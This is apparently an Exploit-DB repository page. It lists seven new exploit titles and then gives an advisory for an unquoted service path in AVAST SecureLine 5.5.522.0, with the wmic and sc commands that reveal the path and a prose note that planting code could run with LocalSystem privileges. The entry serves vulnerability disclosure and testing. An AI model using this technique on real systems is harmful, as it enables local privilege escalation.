606ad946d3
7 changes to exploits/shellcodes AVAST SecureLine 5.5.522.0 - 'SecureLine' Unquoted Service Path 10-Strike Network Inventory Explorer - 'srvInventoryWebServer' Unquoted Service Path 10-Strike Network Inventory Explorer 8.54 - 'Add' Local Buffer Overflow (SEH) Wordpress Plugin WPForms 1.5.9 - Persistent Cross-Site Scripting Wordpress Plugin WPForms 1.5.8.2 - Persistent Cross-Site Scripting Joomla! Component GMapFP 3.30 - Arbitrary File Upload LeptonCMS 4.5.0 - Persistent Cross-Site Scripting Windows/x64 - WinExec Add-Admin Dynamic Null-Free Shellcode (210 Bytes)
37 lines
No EOL
1.7 KiB
Text
37 lines
No EOL
1.7 KiB
Text
# Exploit Title: AVAST SecureLine 5.5.522.0 - 'SecureLine' Unquoted Service Path
|
|
# Discovery by: Roberto Piña
|
|
# Discovery Date: 2020-03-24
|
|
# Vendor Homepage:https://www.avast.com/
|
|
# Software Link :https://www.avast.com/es-mx/download-thank-you.php?product=SLN&locale=es-mx
|
|
# Tested Version: 5.5.522.0
|
|
# Vulnerability Type: Unquoted Service Path
|
|
# Tested on OS: Windows 8.1 Single Language x32 es
|
|
|
|
# Step to discover Unquoted Service Path:
|
|
|
|
C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | f
|
|
indstr /i /v "C:\Windows\\" | findstr /i "Avast SecureLine" | findstr /i /v """
|
|
Avast SecureLine
|
|
SecureLine C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe
|
|
Auto
|
|
|
|
C:\>sc qc SecureLine
|
|
[SC] QueryServiceConfig CORRECTO
|
|
|
|
NOMBRE_SERVICIO: SecureLine
|
|
TIPO : 10 WIN32_OWN_PROCESS
|
|
TIPO_INICIO : 2 AUTO_START
|
|
CONTROL_ERROR : 1 NORMAL
|
|
NOMBRE_RUTA_BINARIO: C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe
|
|
GRUPO_ORDEN_CARGA :
|
|
ETIQUETA : 0
|
|
NOMBRE_MOSTRAR : Avast SecureLine
|
|
DEPENDENCIAS :
|
|
NOMBRE_INICIO_SERVICIO: LocalSystem
|
|
|
|
|
|
# Exploit:
|
|
# A successful attempt would require the local user to be able to insert their code in the system root path
|
|
# undetected by the OS or other security applications where it could potentially be executed during
|
|
# application startup or reboot. If successful, the local user's code would execute with the elevated
|
|
# privileges of the application. |